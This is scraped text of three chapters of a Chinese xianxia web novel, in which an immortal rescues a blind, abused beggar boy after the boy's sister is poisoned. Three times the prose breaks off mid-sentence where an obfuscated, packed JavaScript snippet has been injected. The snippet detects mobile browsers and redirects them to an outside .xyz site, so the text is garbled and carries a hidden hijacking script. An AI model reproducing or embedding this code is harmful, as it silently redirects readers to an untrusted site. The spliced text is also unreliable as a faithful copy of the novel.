他本想上前将那孩童的样貌看得仔细些,视线猝不及防被端着一大盘炙羊肉的云晟挡了个严实。
云晟嬉皮笑脸的举起手上的炙羊肉,解释道:“师尊,这可是隔壁馆子的招牌,您快尝尝好不好吃。”
司青衔默默挪开视线,在云晟期待的目光里坐在主位上,然后执筷夹了一块外焦里嫩的炙羊肉,再然后就是毫无感情的夸赞,“味道不错,云晟有心了。”
表面上是在夸云晟,心里早就骂师兄几千遍了,师兄临行前非让他们带上云晟,说是能帮到他们,这孩子是净帮倒忙了。
得到夸赞的云晟像是捡了骨头的小狗,立马把另外几道菜都推到师尊面前。
坐在另一桌的蓬莱弟子见状惊叹还得是脸皮厚的云晟,旁人谁敢这么跟师尊搭话。
师尊虽然不像掌门一样不苟言笑,但在他们心中,师尊如同池中净莲一样,只可远观不敢亵玩。
“云晟,过来坐,别打扰师尊吃饭。”
云晚苓早就习惯云晟聒噪的毛病,她性子冷淡又喜静,再加上师父出门前特意交代要对云晟严加看管,所以她自然要谨遵师命。
“哦,好的,阿姐。”
云晟不情不愿的挪过来,他捧着碗不敢再多说一句废话,毕竟阿姐的脾性他是知道的,更何况蓬莱山这届弟子没一个能打得过大师姐,他可不想作死。
还不到一顿饭的功夫,客栈门外就响起一阵嘈杂声。
有人嚷嚷道小瞎子又来讨饭了,紧接着店小二就拎着木凳子冲了出去。
没过多久店小二就气喘吁吁的拖着长凳回来,嘴里还骂道:“奶奶的,晦气玩意天天来要饭,这都多久了还没死?”
正在啃鸭腿的云晟看得清楚,店小二拖进来的长凳上沾了鲜红的血迹,以及对面巷子的角落里明眼可见的斑斑血迹,这一切都在无声诉说小瞎子的遭遇。
他放下手里的鸭腿,啧啧叹道:“看来这小畜生真是个灾星,连店小二都想把他打死,啧啧啧,你们说这种人活在世上有什么意义?”
坐在一旁的望尘正在喝羊汤,压根没听见云晟的话。
云晚苓也懒得搭理胡言乱语的云晟,她虽是修道之人,但一见到众生疾苦的画面,她便觉得自己不够强大,修行至今唯一本心就是庇护苍生。
所以云晚苓并不认可云晟的话,哪怕所谓的灾星也不该无辜枉死。
反倒是距离云晟最远的司青衔闻言瞥了一眼门外踉踉跄跄的小瞎子,平淡道:“既然降生于世就有他存在的意义,不论善恶,皆有生存的意义,凡事不论所谓是非只论本心,前些时日谢先生讲的课你是忘了个一干二净。”
云晟平日里睡的觉比听的课还多,但他可不敢把实情说出来,只好讪讪一笑,“师尊说的是哪一次?”
“你还好意思笑?”
云晚苓一个眼神就震慑住嬉皮笑脸的云晟,她不紧不慢的放下筷子,道:“回去之后把谢先生讲过的功课抄三遍。”
云晟:“…………”
云晟的回答算是意料之中,司青衔随手理了理浅青色袖子,继续说下去,
“八荒六合无论是人、妖、仙,乃至上古神族,皆有自己的本心,有的人一生行善只求心安,有的人睚眦必报只为快意人生,无论旁人说什么都不要违背本心,善恶是非,自有分辨,无须听旁人闲言碎语,懂了吗?”
云晟听得一头雾水,师尊的话也太复杂了,他脸上的神情略显尴尬,只好讪讪一笑,“师尊的话我记住了。”
这场闹剧很快就被云晟抛诸脑后。
他原本就对说书人口中的小瞎子不感
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799310|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兴趣,再加上司青衔的提点,他自然不敢再多嘴。
云晚苓对云晟的管教越发严厉,每日都让他在客栈后面的林子里练上两个时辰的基本功。
她心里清楚司青衔对云晟的耐心有限,所以对他格外看得紧。
当天傍晚司青衔独自在街上闲逛,他难得下山一趟,总要逛一逛附近有趣的地方。
闲逛倒是其次,主要是云晟太聒噪了,平日独自住在镜花台的司青衔实在不习惯云晟的吵闹。
那小子无时不刻都在粘着自己,没一刻不在喊师尊,带孩子的折磨他算是体会到了。
这也不能全怪云晟,毕竟他才十二岁,四舍五入还是个孩子。
司青衔在一家卖包子的小摊前停下。
他觉得人间的包子特别好吃,王大娘怎么都做不出这个味道,所以每次下山都要买包子成了司青衔的习惯。
“老板,来两个包子。”
小摊老板利落的夹出屉上两个皮薄馅大的包子,又送了个白胖胖的馒头,用油纸裹好递过去,“好嘞,您的包子。”
司青衔刚放下铜板就感觉到袖子被人拽住了,他垂眸看清楚拽住自己袖子的不是别人,而是一个孩子?!
哦,还是一个双眼被布条遮住的孩子。
司青衔不着痕迹的后退半步,轻声道:“我不是你爹爹,你认错人了。”
那孩子沉默了一会儿才松开手,小声说了句“抱歉”。
他慢慢往旁边挪了几步,手里的木棍一不小心戳在司青衔鞋上,但司青衔并未出声指责。
反倒是旁边卖包子的小贩一脸嫌弃的推着小车走到巷子另一边,嘴里还骂骂咧咧道:“真晦气,倒了血霉撞上这瞎子。”
司青衔瞬间就明白眼前的孩子就是众人厌恶嫌弃的灾星,看上去跟普通小孩没什么区别,便随口嘱咐道:“现在已经很晚了,不要在外面乱跑。”
“我不需要爹。”
小瞎子突然冒出一句没头没脑的话,司青衔一时间没反应过来。
等他意识到那孩子是回答自己不是他爹的问题时,那孩子已经跌跌撞撞的离开了。
从巷子另一头跑来一个衣衫褴褛的小乞丐,她连忙朝司青衔鞠了一躬,“哥哥,对不起,阿弃他看不见,如果冲撞了你,我替他跟你道歉。”
司青衔略显尴尬的挑了下眉,顺手扶起小乞丐,轻声道:“没关系。”
“哥哥,这个你能给我吗?”
小乞丐指着司青衔手上的包子,脏兮兮的小脸上写满渴望。
今日她跟阿弃还没吃过东西,其他馆子都把他们赶了出来,她还能再饿两天,但阿弃已经生病了。
司青衔这人就一个毛病,容易心软,他又买了十个热气腾腾的包子塞到小乞丐手里,看着小乞丐狼吞虎咽的样子,他忍不住问道:“你叫什么?你的爹娘呢?”
小乞丐愣了一下,答道:“我没有爹娘,阿弃也没有。”
司青衔明显有些无措,他知道自己今日帮了她也不能解决她的温饱问题,便翻手变出一棵最常见的草药,递到小乞丐手里,嘱咐道:
“这个给你,以后不要再捡地上的东西吃了,镇子后山有几棵能入药的树,大概长这个样子,摘下来拿到集市上卖了之后拿银子买吃的。”
小乞丐小心翼翼的接过草药,这种草药她见过,她今晚就可以去后山摘,但阿弃的病不能拖,难得遇到一个不讨厌他们的人。
她不再犹豫,直接在司青衔面前跪下,恳求道:“哥哥,你能不能救救阿弃,阿弃他发烧了,我没有银子买药,求求你帮帮我们。”
“…………”
司青衔背在身后的手一顿,他其实想问这两个孩子要不要跟自己回蓬莱,哽在喉间的话硬是吞了回去。
司青衔思索片刻将腰间的荷包解下来递过去。
他看着小乞丐欣喜若狂地奔向药铺的样子,一时间竟有些恍惚,像她这样凄苦的孩子比比皆是。
司青衔很清楚擅自插手凡人宿命本就是大忌,自己竟还想着把他们带回蓬莱,简直是愚蠢至极。
他无奈的笑了笑,暗骂道:“司青衔啊司青衔,你真是脑子被驴踢了。”
难怪师父总说‘众生皆苦,唯有自渡’。
今日若是心软将这两个孩子带回去,明日后日若是有更多受尽苦难的孩子,他又当如何?
天空密布乌云,淅淅沥沥的雨落在灰墙青瓦上,路人纷纷躲在廊下避雨。
空无一人的巷子里只有一抹白色身影缓步前行,那人单手撑伞走在漫天大雨中,仿佛置身于世间所有纷扰之外,‘天地辽阔,孤身一人’。
这便是举世闻名的玉阙真人,仙界最有天赋的修仙者,亦是有一半神骨神识、受八荒六合万人敬仰的司渊仙尊。
修仙数千年看遍人间疾苦,见过世间凄凉磨难、历经种种无能为力也算是修心养性的一道磨炼。
只是今日怎会动摇本心?这倒是件怪事。
9. 第九章
“师尊,咱们该启程了,掌门传信下个月就是试炼大会,您务必要在试炼大会上挑一名弟子成为您座下的亲传弟子,掌门还说了……”
司青衔将话本子搁在矮桌上,一听到望尘啰里吧嗦的一番话。
他不免有些心烦,只觉得带着这几个兔崽子是多此一举,无奈叹道:“掌门师兄越来越啰嗦了,望尘,你都念叨一上午了,歇会吧。”
修长的手轻轻一抬,一盏热茶瞬移到望尘手边,是司青衔喝惯了的阳羡雪芽。
望尘自然明白司青衔这是在堵自己的嘴,只好识趣的闭上嘴,“多谢师尊。”
屋外的雪下得越来越大,云晚苓提出先带着其余弟子回山,师尊留在此处多待几日也无妨。
云晟一听急得直跺脚,“那怎么行?掌门他说了师尊要提前回去……”
云晚苓直接打断了云晟的话,“师尊自有思量,更何况试炼大会在下个月,师尊晚回去几日又如何?云晟你少啰嗦了。”
“你们啊,要多跟你们师姐学学,性子还是不够沉稳。”
司青衔满意的眼神落在云晚苓身上,他默默给云晚苓竖了个大拇指,不愧是云诸的最拿得出手的爱徒。
司青衔自从拜入无极真人门下就一直瞧不上云诸不正经的脾性。
可他不得不承认,云晚苓被教得很好,蓬莱七千弟子中最出色的就是云晚苓。
云晚苓一行人离开后,司青衔继续留在客栈里修复元神。
他偶尔会去附近镇子上闲逛,逛得次数多了,他发现说书先生所言不假。
镇子上所有的人都很厌恶司青衔那天遇到的小瞎子,他们恨不得把他折磨至死,但又畏惧他身上的诅咒,所以没人敢真的动手杀他。
司青衔第三次遇见那孩子是在面馆外。
店小二端上来一碗素面,司青衔刚拿过筷子,只听门外一阵嘈杂的声音。
“打死这个扫把星,就是他克死了东萝村好些人,这种畜生就该被弄死。”
“来来来,邻里街坊们都来瞧瞧,这小瞎子又出来讨饭,你们都别给他吃的,让他冻死饿死,省得浪费自家的米粮。”
“上一次就是他偷了我家旺财的骨头,真是不要脸,跟一条狗抢吃的。”
司青衔本不想多管闲事,毕竟他是仙界的玉阙真人,不该插手凡人的事。
可偏偏门外的声响实在是大了些,就连店家都听不下去了,隔着木门喊道:“去去去,要打死也别死在我门口,敢让老子的店沾上晦气,我抽死你们。”
卖包子的大汉朝蜷缩在地上的小瞎子狠狠踹了几脚,唾骂道:“谁愿意沾上这晦气。”
直到小瞎子身下的皑皑白雪被血染红,围在四周的人才一哄而散。
他们很清楚无论如何这小瞎子都活不过今晚了,这才放心离开了。
“……”
小瞎子连话都说不出,在染红的雪地里慢慢往角落里爬,路过的人还时不时踩上一脚,等小瞎子爬到南街的巷子里时,他身上的血流得更多了。
在另一家茶馆门口讨饭的小乞丐看到满身是伤的楼弃,瞬间明白他又遭遇了别人的打骂。
她连忙跑过来将小瞎子从地上扶起来,急切地问道:“阿弃,你哪儿受伤了?哪里疼?”
楼弃慢吞吞地挪动着骨头断裂的左腿,他虽然看不见但他知道三七一定在哭,他伸手拍了拍小乞丐,安慰道:“三七,你别担心,我没事。”
“楼弃!你每次都怕给我添麻烦,可我是你阿姐就应该照顾你。”
小乞丐直接掏出半根党参塞到楼弃嘴里,昨日在后山挖到的野参都卖给了药铺,这半根党参是药铺不要的次品,没想到在这儿派上了用场。
楼弃刚想说什么就被三七摁住了肩,等他反应过来的时候,党参已经被塞进嘴里了,他含糊不清的开口,“三七你怎么把参给我吃了?”
三七没好气地翻了个白眼,“我就你一个弟弟,要是死了以后就没人被我欺负了。”
站在不远处的司青衔微微一怔。
原来这两个孩子都有名字,小乞丐叫三七,小瞎子叫楼弃,既然有名字就有来处,如今沦落至此,当真是可惜了。
他翻手凝聚灵力在指尖,修长的食指在半空中轻轻一点。
一道青色的轻烟飘过去笼罩住遍体鳞伤的楼弃,千丝万缕的青色灵力慢慢渗透进楼弃的每一处伤口,被打断的腿骨,凸出的肋骨,以及受损的心肺都在慢慢愈合。
司青衔并不擅长医术也不懂治疗术法,幸好他修为颇深,消耗自己的灵力也能治好小瞎子身上的伤。
既然不能带回蓬莱擅自改动他人命运,治好这孩子身上的伤,哪怕只是让他熬过这个冬天也好。
没过多久,楼弃的状态明显好了不少。
他现在只觉得肚子太空,饿得厉害便伸手拽住三七的衣摆,道:“三七,我饿了。”
三七用手摸了摸楼弃的额头,惊讶的发现已经不烫了,只要退了热再有食欲病就大好了。
她连忙把刚买来的鸡腿递到楼弃手里,他们已经很久没有吃过荤腥了。
昨日的野参卖了个好价钱,所以今日难得买了肉,她笑道:“阿弃你快吃,吃完就好了。”
“三七,我不想吃肉。”
楼弃并没有接过鸡腿,他知道三七只舍得买一个鸡腿,他想把鸡腿留给三七,直截了当道:“三七,你好久都没吃肉了,你吃。”
三七知道拗不过楼弃,便把怀里的馒头掏出来,小心翼翼的掰下一小块塞到楼弃嘴里,“阿弃,好吃吗?”
楼弃嚼得很慢,他尝出馒头的甜味,点了点头,“嗯,我都忘了上一次吃馒头是什么时候了。”
三七直接把整个馒头都递过去,看见楼弃吃得很香才松了口气,安慰道:“阿弃,我们以后都有馒头有肉吃,阿姐不会让你再过苦日子的。”
本以为如此温馨的画面就是这两个孩子的结局。
不成想天不遂人愿,三七买的鸡腿被人下了毒,那人本意是想毒死小瞎子,却阴差阳错害死了三七。
这也是楼弃最后一次见到三七,爱笑爱说话的三七,总是站在他面前保护他的三七,总让他喊阿姐的三七永远留在这个大雪纷飞的日子。
鸡腿刚咬了两口,三七就感觉到腹中一阵绞痛,她很快意识到自己手里的鸡腿不对劲。
她立马挥手打落了楼弃手上的馒头,喃喃道:“阿弃,不要吃……阿弃,别吃……”
楼弃还没反应过来,三七就已经呕出一口黑血,她无力的倒下去,鲜血不断从嘴边、眼角、耳朵涌出。
司青衔很清楚三七这幅模样已经是垂危之际,这个孩子短暂的一生要走到尽头了,哪怕他用灵力吸取这孩子体内的毒素,恐怕也是于事无补。
“三七!你怎么了?”
楼弃手脚并用爬到三七身旁,他沾满泥土的手把三七抱在怀里,颤抖的手感受到一股热流。
他不知道那是什么,但他闻到了一股血腥味,瞬间有种不好的预感涌上心头。
他紧紧搂住三七,怀里的人在轻微抽搐,他意识到将会发生的事情之后便惊慌失措地哭出声,“三七,你是不是生病了?我去找人把你治好……”
看着嘴里不断吐血的小乞丐和跪在一旁无助的小瞎子。
司青衔终是忍不住走上前,他俯身将大氅披在泣不成声的楼弃肩上,斟酌道:“她已经无力回天了,你有什么话想说就趁快说吧。”
听到司青衔的声音,楼弃猛地抬手拽住司青衔的袖子,像是抓住了最后一根救命稻草,恳求道:“求求你,救救她!只要能救她,我什么都能给你的……”
司青衔刚想说什么就被一道气弱无力的声音打断了,三七强撑着用袖子擦干净楼弃脸上的泪痕,轻声道:
“神仙哥哥,我不求你救我的命,我只求你把阿弃带走,去哪里都好,别让他一个人留在这里,他会过得很难很苦,我不想再看他整日被人打骂羞辱。”
这一刻司青衔坚守的原则和不插手凡人命运的规矩彻底崩塌。
他无法拒绝一个将死之人的诉求,更不能违背本心任由这孩子自生自灭。
司青衔怜悯的目光落在三七身上,内心挣扎片刻才缓缓点了点头。
他终究还是做不到冷眼旁观这孩子的命数,便答道:“好,我可以把这孩子带走,我答应你照顾他,决不食言。”
“…………”
三七终是松了一口气,她不知道眼前人到底是哪路神仙,但只要他肯收留阿弃那便是阿弃最好的去处了。
她抬手揉了揉楼弃乱糟糟的头发,哄道:“以后跟着神仙哥哥要听话,知道吗?”
楼弃当然听得懂三七的话,他不愿跟别人走,他也不能丢下三七。
楼弃倔强的手死死搂着三七不肯松开,眼泪像断了线的珠子往下掉,哭得上气不接下气,
“三七,我的病好了,你不能睡,我们还要一起去不周山找你爹娘,你忘了吗?”
三七的脸色越来越白,她勉强笑了笑,“阿弃,我骗你的,我爹娘早就不要我了,他们把我丢在荒山野岭就是为了不想要我这个累赘,你这个小傻子,总是被我骗。”
“三七,我不走。”
楼弃拼命摇头,他不愿意跟别人走,他只要三七陪着自己就够了。
阿娘之前也是摸了摸他的头,然后就再也不见阿娘了,现在三七也摸了他的头,是不是以后再也见不到三七了?
“阿弃,你跟着神仙哥哥走吧,我说过要把你的眼疾治好,可能要食言了。”
三七咳出一口黑血,她抬起绵软无力的手掏出藏在袖间的粗布荷包,她犹豫了片刻递到司青衔手里,恳求道:“阿弃的眼疾要花很多银子,这是我攒下的碎银,能不能拜托你把阿弃的眼疾治好……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799311|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话还没说完,三七那一截沾满尘土的手腕就重重地坠下来。
她缓缓阖上眼,带着不甘和不舍离开了这个残酷的世间。
楼弃意识到怀里的人没了呼吸,就连身子也渐渐没了温热。
他把脸埋在三七颈窝后歇斯底里的哭出声,“三七,我以后都不吃馒头和鸡腿了……”
小孩子哪里懂得什么叫生离死别,他只怪自己肚子饿,更怪自己没有吃掉鸡腿才害了阿姐。
一整夜过去了,厚雪覆在房檐上结成了冷霜,北风一吹就是透骨的寒冷。
长身玉立的仙人撑着油纸伞站在这两个孩子身后,他伸手想扶起跪地不起的小瞎子。
骨节分明的手还没碰到就被楼弃躲开了,他恶狠狠地骂道:“你是什么东西?离我远一点!”
司青衔垂眸看向紧紧搂着三七的楼弃,他知道这孩子接受不了至亲的离开,但至少应该把人埋葬入土,以求魂安。
“我们该走了,你阿姐不能一直躺在雪地里。”
楼弃仍在呜咽着不肯撒手,嘶哑的哭着不肯答应,他狠狠甩开司青衔的手,骂道:“我不要,你走开,我就要跟三七在一起。”
“年纪不大脾气倒是不小。”
司青衔向来对没礼貌的孩子没什么耐心。
他直接将人拎起来,毫不客气的把楼弃怀里死死抱着的旧衣裳拽出来,淡淡开口,“小子,我已经答应了你阿姐把你带回去,君子当言出必行,你再闹我就点了你的穴,让你睡上个三四日,懂了吗?”
这小子比司青衔想象中更犟。
司青衔伸手想擦去楼弃侧脸的灰尘,没想到楼弃会突然张嘴狠狠咬在他的手上。
司青衔疼得倒吸一口冷气,但还是没松开拎着楼弃衣领的那只手。
他也没有生气,反而笑出声,认真道:“小孩子不要这么凶,小心被人揍。”
“?”
楼弃以为这人会气急败坏的把自己摔在地上,再狠狠踹上几脚,没想到他竟然笑了,这真是个奇怪的人。
这一口咬得太狠,直到嘴里慢慢尝出血腥味,他才松开嘴,低声道:“放开我。”
司青衔这人就一个毛病:越挫越勇。
他就喜欢养犟脾气的小玩意,他虽然没亲自教过徒弟,但一遇到看起来就不好惹的楼弃,司青衔就更有兴趣了,他当即决定要把楼弃带回蓬莱亲自教导。
“你再闹也没有用。”
直到楼弃平静下来司青衔才把他放下,然后俯身用指腹擦去了楼弃嘴边的血迹,轻叹道:“小家伙,我答应过的事情从不食言,我会把你带回去,你想把你阿姐葬在哪里?”
“……三七喜欢桃花,她说等以后有了银子就买间院子,在院子里种满桃花。”
楼弃知道自己争不过这人,便只好暂时答应了。
司青衔找了处依山傍水的地方,签了地契买了一间院子,在院子后面建好衣冠冢再刻上三七的名字,又在院子里种下一棵桃花树。
他在院子外设下结界,结界内有灵力加持凡胎肉眼看不见这院子的存在,自然也无法踏足半步。
虽然人死不能复生,但总要了却这孩子生前的愿望,好让这孩子走得安心。
司青衔携楼弃腾云而行,路过不周山的时候,沉默许久的楼弃突然拽住司青衔的袖子,问道:
“三七说你是神仙,你真的是神仙吗?”
司青衔笑了笑,轻声道:“那阿弃觉得什么才算是神仙?”
楼弃认真的思考了一会儿,答道:“三七总说话本子上的神仙能腾云驾雾、会变戏法、行遍天下救死扶伤,话本子上的神仙都是无所不能的。”
司青衔嘴角的笑容愈深略显悲戚,无所不能?有些事情就连神仙也无法改变。
“除了最后一条无所不能,我应该符合你口中神仙的标准。”
过了好一会儿,楼弃才反应过来司青衔真的是神仙。
他怯生生地低下头,喃喃道:“可我什么都不会,那是不是跟着你学习神仙的戏法就能杀了那些人,就能替三七报仇……就能保护好我想保护的人,对不对?”
司青衔一时语塞,他没有立场让楼弃不恨那些人,刀子不捅在自己身上是不知道痛的。
这世上本就没有感同身受,所以他只能引导楼弃慢慢放下仇恨。
“阿弃,你要先长大才能学习术法保护别人,你现在还小。”
楼弃认真地点点头,“那我要快点长大,不然别人还会欺负我。”
司青衔俯身将楼弃肩上的大氅重新系好,又随手摸了摸楼弃的脸,安抚道:“别怕,师尊会保护你的。”
“…………”
楼弃默默攥紧手中的那一角袖子,他不知道司青衔的话有几分真假,更不知道他要带自己去何处。
楼弃不信任何人,但他一向很听三七的话,所以他只能相信三七口中的神仙哥哥。
10. 第十章
蓬莱山位于东海的北岸,算得上是一方海岛,曾是上古神族的祭祀圣地,自神族陨落就无人再踏进蓬莱山,故此蓬莱山四周的海域被海妖占据,普通仙人根本杀不死这些海妖。
不知何时有个赤脚道人途经此地,见这天地间灵气凝聚在蓬莱,隐隐有一道金光笼罩在整座山外,赤脚道人大喜,嘴里喊着‘天降吉兆,助我大道无极。’
他翻手施下法阵,借助天地之力将十余只海妖困在蓬莱山下的海底,又将蓬莱山所有的神族封印都解开,创下门派以山为名,广纳修仙者,将蓬莱修缮成最气派的一座仙山。
不久之后赤脚道人一举拿下祸害四方的万年妖兽,自此在各大门派间名声大噪,这便是蓬莱派的由来。
一朵泛着淡青色光芒的祥云飘过不周山的结界。
路过的神仙看到那一抹长身玉立的身影,激动得话都说不出来,仙界谁人不知,名扬天下的玉阙真人一向是最喜青云蓝袍,就连养的小肥鸟都叫绿豆。
这般喜爱青绿色的神仙,除了玉阙真人,天上地下再找不出第二个。
司青衔刚踏进山门就围上来一群蓬莱的小弟子。
不过他们只敢挤在山门前的石龙后面偷看师尊和他身旁的小孩,站在最前面的几名弟子伸长了脖子才看清楼弃的面容。
“两个月不见,师尊越发好看了,师尊的仙姿无人能比!”
“师尊旁边那小子是谁?!”
人群中突然传出一声惊恐的嚎叫。
“啊,他怎么生得这般丑陋?咦,真是吓死人了。”
这个嗓门一听就知道是云晟。
他刚听说师尊带回来一个小瞎子,他拽上望尘迫不及待的来看热闹,结果没想到师尊的眼光这么差,带回来一个丑八怪。
云晟一看这小子的丑逼样就气不打一处来,他刚要撸起袖子冲上去,却被旁边的望尘一把摁住,骂道:“你疯了?云晟,师尊的心思是你我能揣测的吗?”
云晟气得直发抖,他还记得当年师尊不愿意收他为徒的原因。
当时师尊站在云雀台上喂鸟,他只淡淡说了一句,‘这孩子师兄还是带回去吧,你也知道我只喜欢长得好看的,就别再勉强我了。’
‘喜欢长得好看的……别再勉强了……’
这无疑是在打击云晟的自尊,所以他一直都很在乎师尊到底会收何等绝色的弟子,没想到是这么一个不起眼的小屁孩。
“望尘,士可杀不可辱,师尊这是把我的脸都打肿了!”
云晟气急败坏地甩开望尘的手,嚷嚷道:“你根本就不懂我有多憋屈!望尘,你敢想象吗?师尊他说我长得丑才不收我当徒弟。”
望尘被他这话逗笑,他推了下云晟的肩,嗤笑道:“芝麻大小的事你还当真了,小肚鸡肠说的就是你。”
“…………”
只要跟望尘拌嘴,云晟就是输的那一个,他恶狠狠地盯着司青衔身后的小屁孩,心里给这小子记了一笔大帐。
看热闹的一群人还在议论小瞎子的长相,他们越说越激烈,就连司青衔也没逃过他们的编排。
“听说他是师尊从人间带回来的,没有一点慧根,而且也不是仙家子弟,师尊的眼光真是不敢恭维。”
“啧啧啧,这小瞎子长得好丑啊,师尊是不是脑子被驴踢了?”
“你们说师尊他到底是什么癖好,镜花台养的不是白虎就是鸟,如今来了个更离谱的玩意。”
“你们的废话未免太多了!”
手里拿着半个桃子的江花朝从天而降,她脚下的长枪直接冲进人群将正在嚼舌根的蠢货挑翻在地,那人狼狈地打了个滚,怒骂道:“江花朝!你再拿着你的破枪对着小爷,你信不信小爷掰断你的破枪!”
江花朝丝毫不畏惧这厮的咒骂,冷笑一声怼了回去,“裴同玉,你小子敢编排师尊?!是不是活腻了!”
那杆长枪像是听懂了主人的命令,描金枪杆携风而上抽得裴同玉嗷嗷直叫,他捂着胳膊痛得说不出话。
正在看热闹的弟子瞬间安静了,他们齐刷刷看向躺在地上疼得鬼哭狼嚎的裴同玉,纷纷同情起可怜的裴同玉,偏偏招惹了师门中最不能惹的一位,真是又可怜又活该。
江花朝环视着鸦雀无声的人群,她抬手将所有弟子的佩剑都汇在一处,大部分佩剑甚至还未开鞘,可见今日的御剑课只上了一半。
原本就冷峻的眉眼间添了几分凌厉,她缓缓抬眼,眼底透着一股不容侵犯的傲气,掷地有声道:“先生布置的功课都练完了?废话这么多,明日掌门要看你们御剑,就你们这样飞得七扭八扭,我都没眼看,你们还好意思笑话别人!”
这下气氛更加凝重了,所有人连气都不敢喘。
明明都是蓬莱弟子,都是穿着一样的衣裳,可偏偏江花朝的气势最强悍,整个师门最霸道蛮横的就是江花朝。
江花朝将二品灵器唤回,然后走到司青衔面前,倾身行礼道:“师尊,弟子身为门中师姐却未尽到对师弟师妹们的管束之责,请师尊责罚。”
司青衔扶起江花朝,他知道江花朝管不住这群小混球,便不再追究此事,他面上的神情仍是一副云淡风轻,淡淡开口,“无妨,你刚出谷就要操心这群皮猴子,倒是为难你了。”
他顿了顿,敛眸沉声道:“至于你们,今日是哪位先生教授课业,记得让先生去思过阁领罚。”
只听四周的弟子们哀嚎一片,完了,师尊越是云淡风轻,后果就越严重,这下惨了。
他们像是被踩了尾巴的小狗,立马恭顺乖巧的行礼,异口同声道:“谨听师尊教诲。”
闻讯赶来的先生连忙将这群小混球带回御剑台上课,离开的时候先生偷偷瞟了一眼脸色阴沉的司青衔,差点就被玉阙真人那张冷如寒霜的脸吓得魂都没了。
他用袖子擦了擦额角的冷汗,心口突突直跳:玉阙真人这脸色可真是一言难尽,这群兔崽子肯定又闯了大祸。
三人缓步走过青石铺成的石桥,石桥下是万丈水潭,千年蛟龙就盘在潭底,另一种意义上来说它也是蓬莱的守护者。
沿着石桥往前走就是云雾缭绕的群山,每一座山之间都有白云轻烟做衔接,这也是蓬莱弟子御剑飞行的必经之路。
云雾缭绕的群山最容易招引鸟雀,它们便在蓬莱山安了家。
楼弃清晰地听到鸟鸣声,他仿佛看到鸟雀成群的场景,紧绷的心在鸟鸣声中逐渐放松。
这倒是跟他想象中的仙境不太一样,三七给他讲的话本子上仙境都有一个共同特点:清冷又孤寂。
没想到仙人也有招猫逗狗的喜好,还挺有意思。
跟在二人身后的江花朝极有眼色地接过司青衔手里拎的食盒,她思忖片刻还是替刚才那群小混球求情,斟酌道:“师尊不必理会他们说的话,他们都是半大的孩子,说话也不知轻重。”
“无妨。”
司青衔倒是没把这些议论放在心上,但他察觉到楼弃在害怕,便抚上楼弃颤抖的肩膀,安慰道:“阿弃,不要怕,这些哥哥姐姐不会伤害你。”
楼弃迟疑地点了点头,答道:“三七不会骗人。”三七说神仙哥哥是好人,那他一定就是好人。
江花朝这才注意到司青衔身侧的小孩,她好奇的打量着躲在师尊身后的小孩,这小孩虽然只穿了一身朴素的衣裳,眼睛也被一条绸带遮住,但她还是觉得这小孩挺可爱,就主动上前摸了摸他的头。
“我叫江花朝,你叫什么名字?”
楼弃下意识往后退了一步,怯生生答道:“楼弃。”
江花朝还没听过楼这个姓氏,随口问道:“是大器成才的器吗?”
楼弃摇了摇头,解释道:“姐姐,我的名字是抛弃的弃。”
江花朝没想到是这个字,脸上的笑容明显凝滞了,她讪讪一笑,“好端端的孩子怎么叫这个名字,怪不吉利的。”
楼弃还没反应过来就被江花朝牵起了左手。
这是除了三七之外,第一次有人主动牵起他的手,这久违的亲昵让楼弃感到陌生。
奈何江花朝实在是太热情了,她从腰间荷包里掏出一颗蜜饯塞到楼弃嘴里,笑道:“小孩子还是要多吃饭才能长高,小阿弃,你太瘦了。”
“谢谢姐姐。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799312|175051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这是楼弃第一次吃蜜饯,以前阿娘总说小孩子不能吃太多甜食,后来楼弃也没有机会吃甜食。
回到镜花台的楼弃仍紧紧攥着江花朝给他的一整包蜜饯,他就坐在廊下的台阶上吃蜜饯。
绿豆站在廊前的梨树枝上偷看这个奇怪的小孩,它搞不明白主人怎么会喜欢这小玩意,这玩意还没有镜花台后山那只犟种老虎大,看起来就不好养活。
此时的楼弃并不知道自己被一只肥鸟嫌弃了,他拿着蜜饯吃得正欢,丝毫没有察觉到身后有一团白色正在无声靠近。
司青衔千里传音让舜之帝君速速赶来镜花台,但并没有说清楚所为何事。
司青衔难得有事相求,舜之帝君便来了兴趣。
舜之帝君只好借助昆仑的传送门瞬移到镜花台大殿,他随手理了理身前的青丝,笑道:“今儿是吹的什么风,司渊仙尊竟然有事相求,稀罕事啊。”
“舜之,来尝尝我专门让人去千机阁重金买的茶叶。”
端坐在矮桌前的司青衔正在沏茶,舜之帝君迫不及待的拿起茶盏尝了一口,嗯,是自己最爱喝的顾渚紫笋。
